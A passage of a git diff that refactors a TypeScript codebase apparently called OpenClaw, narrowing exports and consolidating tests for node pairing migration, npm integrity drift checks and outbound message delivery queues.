expect(list.pending).toHaveLength(0); - - // Legacy files archived; a second run is a no-op. + expect(JSON.stringify(device)).not.toContain("retired-token"); + expect((await listNodePairing(baseDir)).paired.map((node) => node.nodeId)).toEqual([ + "node-kept", + ]); await expect(fs.access(pairedPath)).rejects.toThrow(); await expect(fs.access(`${pairedPath}.migrated`)).resolves.toBeUndefined(); await expect(fs.access(`${pendingPath}.migrated`)).resolves.toBeUndefined(); @@ -106,7 +95,6 @@ describe("migrateLegacyNodePairingStore", () => { { callerScopes: ["operator.pairing", "operator.write"] }, baseDir, ); - const { pairedPath } = resolvePairingPaths(baseDir, "nodes"); await writeJson(pairedPath, { "node-current": { @@ -118,9 +106,10 @@ describe("migrateLegacyNodePairingStore", () => { }, }); - const result = await migrateLegacyNodePairingStore({ baseDir }); - expect(result).toEqual({ migrated: 0, orphaned: 0 }); - const device = await getPairedDevice("node-current", baseDir); - expect(device?.nodeSurface?.caps).toEqual(["screen"]); + await expect(migrateLegacyNodePairingStore({ baseDir })).resolves.toEqual({ + migrated: 0, + orphaned: 0, + }); + expect((await getPairedDevice("node-current", baseDir))?.nodeSurface?.caps).toEqual(["screen"]); }); }); diff --git a/src/infra/node-pairing-migration.ts b/src/infra/node-pairing-migration.ts index 6649de9f7bb4..ce9f16bcf875 100644 --- a/src/infra/node-pairing-migration.ts +++ b/src/infra/node-pairing-migration.ts @@ -30,7 +30,7 @@ type LegacyNodePairingRow = { lastConnectedAtMs?: number; }; -export type LegacyNodePairingMigrationResult = { +type LegacyNodePairingMigrationResult = { migrated: number; orphaned: number; }; diff --git a/src/infra/node-pairing.ts b/src/infra/node-pairing.ts index b6c2df364a6f..4a315b7100cb 100644 --- a/src/infra/node-pairing.ts +++ b/src/infra/node-pairing.ts @@ -45,7 +45,7 @@ export type NodePairingPendingRequest = NodePairingRequestInput & { ts: number; }; -export type NodePairingPendingSnapshot = Pick & { +type NodePairingPendingSnapshot = Pick & { revision?: string; }; diff --git a/src/infra/npm-integrity.test.ts b/src/infra/npm-integrity.test.ts index 10c67a6e2012..27c38ff6d78c 100644 --- a/src/infra/npm-integrity.test.ts +++ b/src/infra/npm-integrity.test.ts @@ -1,109 +1,8 @@ // Tests npm integrity parsing and drift detection. import { describe, expect, it, vi } from "vitest"; -import { - resolveNpmIntegrityDrift, - resolveNpmIntegrityDriftWithDefaultMessage, -} from "./npm-integrity.js"; +import { resolveNpmIntegrityDriftWithDefaultMessage } from "./npm-integrity.js"; describe("resolveNpmIntegrityDrift", () => { - it.each([ - { - expectedIntegrity: undefined, - resolution: { integrity: "sha512-same", resolvedAt: "2026-01-01T00:00:00.000Z" }, - }, - { - expectedIntegrity: "sha512-same", - resolution: { resolvedAt: "2026-01-01T00:00:00.000Z" }, - }, - { - expectedIntegrity: "sha512-same", - resolution: { integrity: "sha512-same", resolvedAt: "2026-01-01T00:00:00.000Z" }, - }, - ])( - "returns proceed=true when integrity is missing or unchanged: $expectedIntegrity", - async ({ expectedIntegrity, resolution }) => { - const createPayload = vi.fn(() => "unused"); - await expect( - resolveNpmIntegrityDrift({ - spec: "@openclaw/test@1.0.0", - expectedIntegrity, - resolution, - createPayload, - }), - ).resolves.toEqual({ proceed: true }); - expect(createPayload).not.toHaveBeenCalled(); - }, - ); - - it("uses callback on integrity drift", async () => { - const onIntegrityDrift = vi.fn(async () => false); - const result = await resolveNpmIntegrityDrift({ - spec: "@openclaw/test@1.0.0", - expectedIntegrity: "sha512-old", - resolution: { - integrity: "sha512-new", - resolvedAt: "2026-01-01T00:00:00.000Z", - }, - createPayload: ({ expectedIntegrity, actualIntegrity }) => ({ - expectedIntegrity, - actualIntegrity, - }), - onIntegrityDrift, - }); - - expect(onIntegrityDrift).toHaveBeenCalledWith({ - expectedIntegrity: "sha512-old", - actualIntegrity: "sha512-new", - }); - expect(result.proceed).toBe(false); - expect(result.integrityDrift).toEqual({ - expectedIntegrity: "sha512-old", - actualIntegrity: "sha512-new", - }); - }); - - it("returns payload when the drift callback allows continuing", async () => { - const result = await resolveNpmIntegrityDrift({ - spec: "@openclaw/test@1.0.0", - expectedIntegrity: "sha512-old", - resolution: { - integrity: "sha512-new", - resolvedAt: "2026-01-01T00:00:00.000Z", - }, - createPayload: ({ spec, actualIntegrity }) => ({ spec, actualIntegrity }), - onIntegrityDrift: async () => true, - }); - - expect(result).toEqual({ - integrityDrift: { - expectedIntegrity: "sha512-old", - actualIntegrity: "sha512-new", - }, - payload: { - spec: "@openclaw/test@1.0.0", - actualIntegrity: "sha512-new", - }, - proceed: true, - }); - }); - - it("warns and aborts by default when no callback is provided", async () => { - const warn = vi.fn(); - const result = await resolveNpmIntegrityDrift({ - spec: "@openclaw/test@1.0.0", - expectedIntegrity: "sha512-old", - resolution: { - integrity: "sha512-new", - resolvedAt: "2026-01-01T00:00:00.000Z", - }, - createPayload: ({ spec }) => ({ spec }), - warn, - }); - - expect(warn).toHaveBeenCalledWith({ spec: "@openclaw/test@1.0.0" }); - expect(result.proceed).toBe(false); - }); - it("formats default warning and abort error messages", async () => { const warn = vi.fn(); const warningResult = await resolveNpmIntegrityDriftWithDefaultMessage({ diff --git a/src/infra/npm-integrity.ts b/src/infra/npm-integrity.ts index d08a08efc5b0..3f117ee754bd 100644 --- a/src/infra/npm-integrity.ts +++ b/src/infra/npm-integrity.ts @@ -38,7 +38,7 @@ function normalizeIntegrity(value: string | undefined): string | undefined { * Compares expected and resolved npm integrity values and asks the caller * whether a drifted archive may still be installed. */ -export async function resolveNpmIntegrityDrift( +async function resolveNpmIntegrityDrift( params: ResolveNpmIntegrityDriftParams, ): Promise> { const expectedIntegrity = normalizeIntegrity(params.expectedIntegrity); diff --git a/src/infra/npm-managed-root.ts b/src/infra/npm-managed-root.ts index 98eb1faeeb40..7a749a99e087 100644 --- a/src/infra/npm-managed-root.ts +++ b/src/infra/npm-managed-root.ts @@ -518,7 +518,7 @@ function isTopLevelLockPackageLocation(location: string): boolean { return location.split("/").filter((part) => part === "node_modules").length === 1; } -export type MissingRequiredPlatformPackage = { +type MissingRequiredPlatformPackage = { name: string; packagePath: string; }; diff --git a/src/infra/npm-pack-install.test.ts b/src/infra/npm-pack-install.test.ts index e739c5efe10b..b0b6351d6107 100644 --- a/src/infra/npm-pack-install.test.ts +++ b/src/infra/npm-pack-install.test.ts @@ -4,7 +4,6 @@ import { packNpmSpecToArchive, withTempDir } from "./install-source-utils.js"; import type { NpmIntegrityDriftPayload } from "./npm-integrity.js"; import { finalizeNpmSpecArchiveInstall, - installFromNpmSpecArchive, installFromNpmSpecArchiveWithInstaller, } from "./npm-pack-install.js"; @@ -21,7 +20,7 @@ vi.mock("./install-source-utils.js", async () => { }; }); -describe("installFromNpmSpecArchive", () => { +describe("installFromNpmSpecArchiveWithInstaller", () => { const baseSpec = "@openclaw/test@1.0.0"; const baseArchivePath = "/tmp/openclaw-test.tgz"; @@ -44,21 +43,23 @@ describe("installFromNpmSpecArchive", () => { }; const runInstall = async (overrides: { + spec?: string; expectedIntegrity?: string; onIntegrityDrift?: (payload: NpmIntegrityDriftPayload) => boolean | Promise; warn?: (message: string) => void; installFromArchive: (params: { archivePath: string; - }) => Promise<{ ok: boolean; [k: string]: unknown }>; + }) => Promise<{ ok: boolean; [key: string]: unknown }>; }) => - await installFromNpmSpecArchive({ + await installFromNpmSpecArchiveWithInstaller({ tempDirPrefix: "openclaw-test-", - spec: baseSpec, + spec: overrides.spec ?? baseSpec, timeoutMs: 1000, expectedIntegrity: overrides.expectedIntegrity, onIntegrityDrift: overrides.onIntegrityDrift, warn: overrides.warn, installFromArchive: overrides.installFromArchive, + archiveInstallParams: {}, }); const expectWrappedOkResult = ( @@ -82,40 +83,22 @@ describe("installFromNpmSpecArchive", () => { vi.mocked(packNpmSpecToArchive).mockResolvedValue({ ok: false, error: "pack failed" }); const installFromArchive = vi.fn(async () => ({ ok: true as const })); - const result = await installFromNpmSpecArchive({ - tempDirPrefix: "openclaw-test-", - spec: "@openclaw/test@1.0.0", - timeoutMs: 1000, - installFromArchive, - }); + const result = await runInstall({ installFromArchive }); expect(result).toEqual({ ok: false, error: "pack failed" }); expect(installFromArchive).not.toHaveBeenCalled(); - const withTempDirMock = vi.mocked(withTempDir); - expect(withTempDirMock).toHaveBeenCalledTimes(1); - const tempDirCall = withTempDirMock.mock.calls[0]; - if (tempDirCall === undefined) { - throw new Error("expected temp dir call"); - } - const [tempDirPrefix, tempDirCallback] = tempDirCall; - expect(tempDirPrefix).toBe("openclaw-test-"); - expect(tempDirCallback).toBeTypeOf("function"); + expect(withTempDir).toHaveBeenCalledWith("openclaw-test-", expect.any(Function)); }); it("rejects unsupported npm specs before packing", async () => { const installFromArchive = vi.fn(async () => ({ ok: true as const })); - const result = await installFromNpmSpecArchive({ - tempDirPrefix: "openclaw-test-", + const result = await runInstall({ spec: "file:/tmp/openclaw.tgz", - timeoutMs: 1000, installFromArchive, }); - expect(result).toEqual({ - ok: false, - error: "unsupported npm spec", - }); + expect(result).toEqual({ ok: false, error: "unsupported npm spec" }); expect(packNpmSpecToArchive).not.toHaveBeenCalled(); expect(installFromArchive).not.toHaveBeenCalled(); }); @@ -131,13 +114,9 @@ describe("installFromNpmSpecArchive", () => { const okResult = expectWrappedOkResult(result, { ok: true, target: "done" }); expect(okResult.integrityDrift).toBeUndefined(); - expect(okResult.npmResolution.resolvedSpec).toBe("@openclaw/test@1.0.0"); - const resolvedAt = okResult.npmResolution.resolvedAt; - if (!resolvedAt) { - throw new Error("expected npm resolution timestamp"); - } - expect(Date.parse(resolvedAt)).not.toBeNaN(); - expect(installFromArchive).toHaveBeenCalledWith({ archivePath: "/tmp/openclaw-test.tgz" }); + expect(okResult.npmResolution.resolvedSpec).toBe(baseSpec); + expect(Date.parse(okResult.npmResolution.resolvedAt)).not.toBeNaN(); + expect(installFromArchive).toHaveBeenCalledWith({ archivePath: baseArchivePath }); }); it("proceeds when integrity drift callback accepts drift", async () => { @@ -179,7 +158,7 @@ describe("installFromNpmSpecArchive", () => { it("warns and aborts on drift when no callback is configured", async () => { mockPackedSuccess({ integrity: "sha512-new" }); const warn = vi.fn(); - const installFromArchive = vi.fn(async () => ({ ok: true as const, id: "plugin-1" })); + const installFromArchive = vi.fn(async () => ({ ok: true as const })); const result = await runInstall({ expectedIntegrity: "sha512-old", @@ -197,8 +176,8 @@ describe("installFromNpmSpecArchive", () => { expect(installFromArchive).not.toHaveBeenCalled(); }); - it("returns installer failures to callers for domain-specific handling", async () => { - mockPackedSuccess({ integrity: "sha512-same" }); + it("returns installer failures for domain-specific handling", async () => { + mockPackedSuccess(); const installFromArchive = vi.fn(async () => ({ ok: false as const, error: "install failed" })); const result = await runInstall({ @@ -211,21 +190,14 @@ describe("installFromNpmSpecArchive", () => { }); it("rejects prerelease resolutions unless explicitly requested", async () => { - vi.mocked(packNpmSpecToArchive).mockResolvedValue({ - ok: true, - archivePath: baseArchivePath, - metadata: { - resolvedSpec: "@openclaw/test@latest", - integrity: "sha512-same", - version: "1.1.0-beta.1", - }, + mockPackedSuccess({ + resolvedSpec: "@openclaw/test@latest", + version: "1.1.0-beta.1", }); const installFromArchive = vi.fn(async () => ({ ok: true as const })); - const result = await installFromNpmSpecArchive({ - tempDirPrefix: "openclaw-test-", + const result = await runInstall({ spec: "@openclaw/test@latest", - timeoutMs: 1000, installFromArchive, }); @@ -238,33 +210,20 @@ describe("installFromNpmSpecArchive", () => { }); it("allows prerelease resolutions when explicitly requested by tag", async () => { - vi.mocked(packNpmSpecToArchive).mockResolvedValue({ - ok: true, - archivePath: baseArchivePath, - metadata: { - resolvedSpec: "@openclaw/test@beta", - integrity: "sha512-same", - version: "1.1.0-beta.1", - }, + mockPackedSuccess({ + resolvedSpec: "@openclaw/test@beta", + version: "1.1.0-beta.1", }); const installFromArchive = vi.fn(async () => ({ ok: true as const, pluginId: "beta-plugin" })); - const result = await installFromNpmSpecArchive({ - tempDirPrefix: "openclaw-test-", + const result = await runInstall({ spec: "@openclaw/test@beta", - timeoutMs: 1000, installFromArchive, }); const okResult = expectWrappedOkResult(result, { ok: true, pluginId: "beta-plugin" }); expect(okResult.npmResolution.version).toBe("1.1.0-beta.1"); }); -}); - -describe("installFromNpmSpecArchiveWithInstaller", () => { - beforeEach(() => { - vi.mocked(packNpmSpecToArchive).mockClear(); - }); it("passes archive path and installer params to installFromArchive", async () => { vi.mocked(packNpmSpecToArchive).mockResolvedValue({ diff --git a/src/infra/npm-pack-install.ts b/src/infra/npm-pack-install.ts index 854454db1d97..0a0c1fbab55c 100644 --- a/src/infra/npm-pack-install.ts +++ b/src/infra/npm-pack-install.ts @@ -108,7 +108,7 @@ export function finalizeNpmSpecArchiveInstall( * Packs a validated registry npm spec into a temporary tarball, verifies the * resolved package metadata, then delegates archive extraction to the caller. */ -export async function installFromNpmSpecArchive(params: { +async function installFromNpmSpecArchive(params: { tempDirPrefix: string; spec: string; timeoutMs: number; diff --git a/src/infra/npm-registry-spec.test.ts b/src/infra/npm-registry-spec.test.ts index aef9f89267d6..36c2a0535046 100644 --- a/src/infra/npm-registry-spec.test.ts +++ b/src/infra/npm-registry-spec.test.ts @@ -5,7 +5,6 @@ import { formatPrereleaseResolutionError, isExactSemverVersion, isOpenClawOrgNpmSpec, - isOpenClawStableCorrectionVersion, isPrereleaseSemverVersion, isPrereleaseResolutionAllowed, parseRegistryNpmSpec, @@ -135,16 +134,6 @@ describe("npm registry spec parsing helpers", () => { expect(isPrereleaseSemverVersion(value)).toBe(expected); }); - it.each([ - { value: "2026.5.3-1", expected: true }, - { value: "2026.5.3-2", expected: true }, - { value: "2026.5.3-beta.1", expected: false }, - { value: "1.2.3-1", expected: false }, - { value: "2026.2.30-1", expected: true }, - ])("detects OpenClaw stable correction versions for %s", ({ value, expected }) => { - expect(isOpenClawStableCorrectionVersion(value)).toBe(expected); - }); - it.each([ { left: "2026.5.3-1", right: "2026.5.3", expected: 1 }, { left: "2026.5.3-2", right: "2026.5.3-1", expected: 1 }, diff --git a/src/infra/npm-registry-spec.ts b/src/infra/npm-registry-spec.ts index 2daded8c468a..690bee8d7b82 100644 --- a/src/infra/npm-registry-spec.ts +++ b/src/infra/npm-registry-spec.ts @@ -186,7 +186,7 @@ function parseOpenClawReleaseVersion(value: string): OpenClawReleaseVersion | nu } /** Returns whether a version is an OpenClaw monthly patch stable correction release. */ -export function isOpenClawStableCorrectionVersion(value: string): boolean { +function isOpenClawStableCorrectionVersion(value: string): boolean { const parsed = parseOpenClawReleaseVersion(value); return parsed?.channel === "stable" && parsed.correctionNumber !== undefined; } diff --git a/src/infra/openclaw-exec-env.test.ts b/src/infra/openclaw-exec-env.test.ts index 011ef0d76b26..9026a1beb001 100644 --- a/src/infra/openclaw-exec-env.test.ts +++ b/src/infra/openclaw-exec-env.test.ts @@ -4,10 +4,11 @@ import { deleteTestEnvValue, setTestEnvValue } from "../test-utils/env.js"; import { ensureOpenClawExecMarkerOnProcess, markOpenClawExecEnv, - OPENCLAW_CLI_ENV_VALUE, OPENCLAW_CLI_ENV_VAR, } from "./openclaw-exec-env.js"; +const OPENCLAW_CLI_ENV_VALUE = "1"; + describe("markOpenClawExecEnv", () => { it("returns a cloned env object with the exec marker set", () => { const env = { PATH: "/usr/bin", OPENCLAW_CLI: "0" }; diff --git a/src/infra/openclaw-exec-env.ts b/src/infra/openclaw-exec-env.ts index 9242814a6733..3c9c54317474 100644 --- a/src/infra/openclaw-exec-env.ts +++ b/src/infra/openclaw-exec-env.ts @@ -2,7 +2,7 @@ export const OPENCLAW_CLI_ENV_VAR = "OPENCLAW_CLI"; /** Stable marker value used for OpenClaw-launched subprocess detection. */ -export const OPENCLAW_CLI_ENV_VALUE = "1"; +const OPENCLAW_CLI_ENV_VALUE = "1"; /** Returns a cloned env object with the OpenClaw CLI marker set. */ export function markOpenClawExecEnv>( diff --git a/src/infra/openclaw-root.test.ts b/src/infra/openclaw-root.test.ts index 7e8af0f32941..5a0c35a1aa5f 100644 --- a/src/infra/openclaw-root.test.ts +++ b/src/infra/openclaw-root.test.ts @@ -3,7 +3,7 @@ import actualFs from "node:fs"; import actualFsPromises from "node:fs/promises"; import path from "node:path"; import { pathToFileURL } from "node:url"; -import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { beforeAll, describe, expect, it, vi } from "vitest"; type FakeFsEntry = { kind: "file"; content: string } | { kind: "dir" }; @@ -109,21 +109,10 @@ vi.mock("./openclaw-root.fs.runtime.js", () => ({ describe("resolveOpenClawPackageRoot", () => { let resolveOpenClawPackageRoot: typeof import("./openclaw-root.js").resolveOpenClawPackageRoot; let resolveOpenClawPackageRootSync: typeof import("./openclaw-root.js").resolveOpenClawPackageRootSync; - let clearOpenClawPackageRootCaches: typeof import("./openclaw-root.js").testing.clearOpenClawPackageRootCaches; beforeAll(async () => { - ({ - resolveOpenClawPackageRoot, - resolveOpenClawPackageRootSync, - testing: { clearOpenClawPackageRootCaches }, - } = await import("./openclaw-root.js")); - }); - - beforeEach(() => { - clearOpenClawPackageRootCaches(); - state.entries.clear(); - state.realpaths.clear(); - state.realpathErrors.clear(); + ({ resolveOpenClawPackageRoot, resolveOpenClawPackageRootSync } = + await import("./openclaw-root.js")); }); it.each([ diff --git a/src/infra/openclaw-root.ts b/src/infra/openclaw-root.ts index b55fdae34207..fca1b2a9b2e9 100644 --- a/src/infra/openclaw-root.ts +++ b/src/infra/openclaw-root.ts @@ -214,13 +214,3 @@ function dedupeCandidates(candidates: readonly string[]): string[] { function createPackageRootCacheKey(candidates: readonly string[]): string { return candidates.join("\0"); } - -export const testing = { - clearOpenClawPackageRootCaches(): void { - packageNameCache.clear(); - packageRootCache.clear(); - packageRootsCache.clear(); - argv1CandidateCache.clear(); - }, -}; -export { testing as __testing }; diff --git a/src/infra/outbound/channel-resolution.test.ts b/src/infra/outbound/channel-resolution.test.ts index fb1027c41830..6a2e51f3f535 100644 --- a/src/infra/outbound/channel-resolution.test.ts +++ b/src/infra/outbound/channel-resolution.test.ts @@ -72,6 +72,7 @@ function firstMockArg(mock: { mock: { calls: readonly unknown[][] } }): Record { beforeEach(async () => { + vi.resetModules(); resolveDefaultAgentIdMock.mockReset(); resolveAgentWorkspaceDirMock.mockReset(); getLoadedChannelPluginMock.mockReset(); @@ -101,9 +102,6 @@ describe("outbound channel resolution", () => { }); resolveDefaultAgentIdMock.mockReturnValue("main"); resolveAgentWorkspaceDirMock.mockReturnValue("/tmp/workspace"); - - const channelResolution = await importChannelResolution("reset"); - channelResolution.resetOutboundChannelResolutionStateForTest(); }); it.each([ diff --git a/src/infra/outbound/channel-resolution.ts b/src/infra/outbound/channel-resolution.ts index 9534aa185130..728479b150a4 100644 --- a/src/infra/outbound/channel-resolution.ts +++ b/src/infra/outbound/channel-resolution.ts @@ -12,15 +12,7 @@ import { normalizeMessageChannel, type DeliverableMessageChannel, } from "../../utils/message-channel.js"; -import { - bootstrapOutboundChannelPlugin, - resetOutboundChannelBootstrapStateForTests, -} from "./channel-bootstrap.runtime.js"; - -/** Resets outbound channel bootstrap/resolution state for isolated tests. */ -export function resetOutboundChannelResolutionStateForTest(): void { - resetOutboundChannelBootstrapStateForTests(); -} +import { bootstrapOutboundChannelPlugin } from "./channel-bootstrap.runtime.js"; /** Normalizes a raw channel id and rejects non-deliverable/internal channels. */ export function normalizeDeliverableOutboundChannel( diff --git a/src/infra/outbound/channel-selection.test.ts b/src/infra/outbound/channel-selection.test.ts index a8e6bb58ed70..d48fa9b97286 100644 --- a/src/infra/outbound/channel-selection.test.ts +++ b/src/infra/outbound/channel-selection.test.ts @@ -1,6 +1,7 @@ // Covers message channel selection from explicit input, tool context fallback, // configured accounts, and missing official external plugin repair hints. -import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { defaultRuntime } from "../../runtime.js"; const mocks = vi.hoisted(() => ({ listChannelPlugins: vi.fn(), @@ -50,16 +51,12 @@ vi.mock("../../plugins/official-external-plugin-repair-hints.js", () => ({ })); type ChannelSelectionModule = typeof import("./channel-selection.js"); -type RuntimeModule = typeof import("../../runtime.js"); -let testing: ChannelSelectionModule["testing"]; let listConfiguredMessageChannels: ChannelSelectionModule["listConfiguredMessageChannels"]; let resolveMessageChannelSelection: ChannelSelectionModule["resolveMessageChannelSelection"]; -let runtimeModule: RuntimeModule; beforeAll(async () => { - runtimeModule = await import("../../runtime.js"); - ({ testing, listConfiguredMessageChannels, resolveMessageChannelSelection } = + ({ listConfiguredMessageChannels, resolveMessageChannelSelection } = await import("./channel-selection.js")); }); @@ -92,15 +89,17 @@ describe("listConfiguredMessageChannels", () => { let errorSpy: ReturnType; beforeEach(() => { - errorSpy = vi.spyOn(runtimeModule.defaultRuntime, "error").mockImplementation(() => undefined); + errorSpy = vi.spyOn(defaultRuntime, "error").mockImplementation(() => undefined); mocks.listChannelPlugins.mockReset(); mocks.listChannelPlugins.mockReturnValue([]); mocks.resolveOutboundChannelPlugin.mockReset(); mocks.resolveOutboundChannelPlugin.mockImplementation(({ channel }: { channel: string }) => ({ id: channel, })); - testing.resetLoggedChannelSelectionErrors(); - errorSpy.mockClear(); + }); + + afterEach(() => { + errorSpy.mockRestore(); }); it.each([ diff --git a/src/infra/outbound/channel-selection.ts b/src/infra/outbound/channel-selection.ts index ec24fab04d6a..4076afe73b08 100644 --- a/src/infra/outbound/channel-selection.ts +++ b/src/infra/outbound/channel-selection.ts @@ -294,9 +294,3 @@ export async function resolveMessageChannelSelection(params: { } throw new Error(formatMultipleConfiguredChannelsMessage(configured)); } - -export const testing = { - resetLoggedChannelSelectionErrors() { - loggedChannelSelectionErrors.clear(); - }, -}; diff --git a/src/infra/outbound/deliver-types.ts b/src/infra/outbound/deliver-types.ts index 400c7681f860..901f6a012217 100644 --- a/src/infra/outbound/deliver-types.ts +++ b/src/infra/outbound/deliver-types.ts @@ -47,8 +47,7 @@ export type OutboundPayloadDeliverySuppressionReason = export type OutboundDeliveryFailureStage = "platform_send" | "queue" | "unknown"; export type OutboundPayloadDeliveryKind = "text" | "media" | "other"; -export const PLATFORM_MESSAGE_NOT_DISPATCHED_ERROR_CODE = - "OPENCLAW_PLATFORM_MESSAGE_NOT_DISPATCHED"; +const PLATFORM_MESSAGE_NOT_DISPATCHED_ERROR_CODE = "OPENCLAW_PLATFORM_MESSAGE_NOT_DISPATCHED"; /** * Provider assertion that retrying cannot duplicate a recipient-visible send. diff --git a/src/infra/outbound/deliver.queue-integration.test.ts b/src/infra/outbound/deliver.queue-integration.test.ts index 0dd626d5809a..1c84c356f424 100644 --- a/src/infra/outbound/deliver.queue-integration.test.ts +++ b/src/infra/outbound/deliver.queue-integration.test.ts @@ -14,7 +14,8 @@ import { } from "../../plugins/runtime.js"; import { createOutboundTestPlugin, createTestRegistry } from "../../test-utils/channel-plugins.js"; import { PlatformMessageNotDispatchedError } from "./deliver-types.js"; -import { drainPendingDeliveries, type DeliverFn, loadPendingDeliveries } from "./delivery-queue.js"; +import { loadPendingDeliveries } from "./delivery-queue-storage.js"; +import { drainPendingDeliveries, type DeliverFn } from "./delivery-queue.js"; import { createRecoveryLog, installDeliveryQueueTmpDirHooks, @@ -212,7 +213,7 @@ describe("deliverOutboundPayloads queue integration: mid-batch failure with send }), ).rejects.toThrow("first payload send failed"); - const entries = await import("./delivery-queue.js").then((m) => + const entries = await import("./delivery-queue-storage.js").then((m) => m.loadPendingDeliveries(tmpDir), ); expect(entries).toHaveLength(1); diff --git a/src/infra/outbound/deliver.test.ts b/src/infra/outbound/deliver.test.ts index 5627c5742528..24d52c3ebdcf 100644 --- a/src/infra/outbound/deliver.test.ts +++ b/src/infra/outbound/deliver.test.ts @@ -135,7 +135,6 @@ vi.mock("../../logging/subsystem.js", () => ({ type DeliverModule = typeof import("./deliver.js"); let deliverOutboundPayloads: DeliverModule["deliverOutboundPayloads"]; -let normalizeOutboundPayloads: DeliverModule["normalizeOutboundPayloads"]; let resolveOutboundDurableFinalDeliverySupport: DeliverModule["resolveOutboundDurableFinalDeliverySupport"]; const matrixChunkConfig: OpenClawConfig = { @@ -306,11 +305,8 @@ async function runBestEffortPartialFailureDelivery(params?: { onError?: boolean describe("deliverOutboundPayloads", () => { beforeAll(async () => { - ({ - deliverOutboundPayloads, - normalizeOutboundPayloads, - resolveOutboundDurableFinalDeliverySupport, - } = await import("./deliver.js")); + ({ deliverOutboundPayloads, resolveOutboundDurableFinalDeliverySupport } = + await import("./deliver.js")); }); beforeEach(() => { @@ -4120,18 +4116,6 @@ describe("deliverOutboundPayloads", () => { expect(sendMatrixOptions?.mediaUrl).toBe("https://example.com/chart.png"); }); - it("normalizes payloads and drops empty entries", () => { - const normalized = normalizeOutboundPayloads([ - { text: "hi" }, - { text: "MEDIA:https://x.test/a.jpg" }, - { text: " ", mediaUrls: [] }, - ]); - expect(normalized).toEqual([ - { text: "hi", mediaUrls: [], audioAsVoice: undefined }, - { text: "", mediaUrls: ["https://x.test/a.jpg"], audioAsVoice: undefined }, - ]); - }); - it("continues on errors when bestEffort is enabled", async () => { const { sendMatrix, onError, results } = await runBestEffortPartialFailureDelivery(); diff --git a/src/infra/outbound/deliver.ts b/src/infra/outbound/deliver.ts index 582e65ba6b9b..9aa5173104bc 100644 --- a/src/infra/outbound/deliver.ts +++ b/src/infra/outbound/deliver.ts @@ -110,7 +110,6 @@ import type { OutboundChannel } from "./targets.js"; export type { OutboundDeliveryResult } from "./deliver-types.js"; export type { NormalizedOutboundPayload } from "./payloads.js"; -export { normalizeOutboundPayloads } from "./payloads.js"; export type { OutboundSendDeps } from "./send-deps.js"; export type OutboundDeliveryQueuePolicy = "required" | "best_effort"; diff --git a/src/infra/outbound/delivery-queue-recovery.ts b/src/infra/outbound/delivery-queue-recovery.ts index cc7f6223d16b..b5ef3ec14fac 100644 --- a/src/infra/outbound/delivery-queue-recovery.ts +++ b/src/infra/outbound/delivery-queue-recovery.ts @@ -49,8 +49,6 @@ import { uniformOutboundAuditTerminals, } from "./outbound-audit.js"; -export { computeBackoffMs }; - type RecoverySummary = { recovered: number; failed: number; @@ -415,7 +413,7 @@ async function moveEntryToFailedWithLogging( } } -export function isEntryEligibleForRecoveryRetry( +function isEntryEligibleForRecoveryRetry( entry: QueuedDelivery, now: number, ): { eligible: true } | { eligible: false; remainingBackoffMs: number } { @@ -441,7 +439,7 @@ export function isEntryEligibleForRecoveryRetry( return { eligible: false, remainingBackoffMs: nextEligibleAt - now }; } -export function isPermanentDeliveryError(error: string): boolean { +function isPermanentDeliveryError(error: string): boolean { return PERMANENT_ERROR_PATTERNS.some((re) => re.test(error)); } @@ -1013,5 +1011,3 @@ export async function recoverPendingDeliveries(opts: { ); return summary; } - -export { MAX_RETRIES }; diff --git a/src/infra/outbound/delivery-queue.policy.test.ts b/src/infra/outbound/delivery-queue.policy.test.ts index c75457a2474d..c91d8d82c972 100644 --- a/src/infra/outbound/delivery-queue.policy.test.ts +++ b/src/infra/outbound/delivery-queue.policy.test.ts @@ -3,15 +3,7 @@ import { describe, expect, it } from "vitest"; import { isProvenDeliveryNotSentError } from "../delivery-recovery.shared.js"; import { recordRetryAttemptErrors } from "../retry-attempt-errors.js"; -import { - PlatformMessageNotDispatchedError, - PLATFORM_MESSAGE_NOT_DISPATCHED_ERROR_CODE, -} from "./deliver-types.js"; -import { - computeBackoffMs, - isEntryEligibleForRecoveryRetry, - isPermanentDeliveryError, -} from "./delivery-queue.js"; +import { PlatformMessageNotDispatchedError } from "./deliver-types.js"; describe("delivery-queue policy", () => { describe("isProvenDeliveryNotSentError", () => { @@ -26,7 +18,7 @@ describe("delivery-queue policy", () => { it("rejects a platform error that copies only the marker code", () => { const forged = Object.assign(new Error("remote platform failure"), { - code: PLATFORM_MESSAGE_NOT_DISPATCHED_ERROR_CODE, + code: createMarker().code, }); expect(isProvenDeliveryNotSentError(forged)).toBe(false); }); @@ -46,85 +38,4 @@ describe("delivery-queue policy", () => { expect(isProvenDeliveryNotSentError(marker)).toBe(false); }); }); - - describe("isPermanentDeliveryError", () => { - it.each([ - "No conversation reference found for user:abc", - "Forum send failed: chat not found (chat_id=user:123)", - "403: Forbidden: bot is not a member of the channel chat", - "user not found", - "Bot was blocked by the user", - "Forbidden: bot was kicked from the group chat", - "chat_id is empty", - "Outbound not configured for channel: demo-channel", - "MatrixError: [403] User @bot:matrix.example.com not in room !mixedCase:matrix.example.com", - ])("returns true for permanent error: %s", (msg) => { - expect(isPermanentDeliveryError(msg)).toBe(true); - }); - - it.each([ - "network down", - "ETIMEDOUT", - "socket hang up", - "rate limited", - "500 Internal Server Error", - ])("returns false for transient error: %s", (msg) => { - expect(isPermanentDeliveryError(msg)).toBe(false); - }); - }); - - describe("computeBackoffMs", () => { - it.each([ - { retryCount: 0, expected: 0 }, - { retryCount: 1, expected: 5_000 }, - { retryCount: 2, expected: 25_000 }, - { retryCount: 3, expected: 120_000 }, - { retryCount: 4, expected: 600_000 }, - { retryCount: 5, expected: 600_000 }, - ] as const)( - "returns scheduled backoff for retryCount=$retryCount", - ({ retryCount, expected }) => { - expect(computeBackoffMs(retryCount)).toBe(expected); - }, - ); - }); - - describe("isEntryEligibleForRecoveryRetry", () => { - it("allows first replay after crash for retryCount=0 without lastAttemptAt", () => { - const now = Date.now(); - const result = isEntryEligibleForRecoveryRetry( - { - id: "entry-1", - channel: "demo-channel", - to: "+1", - payloads: [{ text: "a" }], - enqueuedAt: now, - retryCount: 0, - }, - now, - ); - expect(result).toEqual({ eligible: true }); - }); - - it("defers retry entries until backoff window elapses", () => { - const now = Date.now(); - const result = isEntryEligibleForRecoveryRetry( - { - id: "entry-2", - channel: "demo-channel", - to: "+1", - payloads: [{ text: "a" 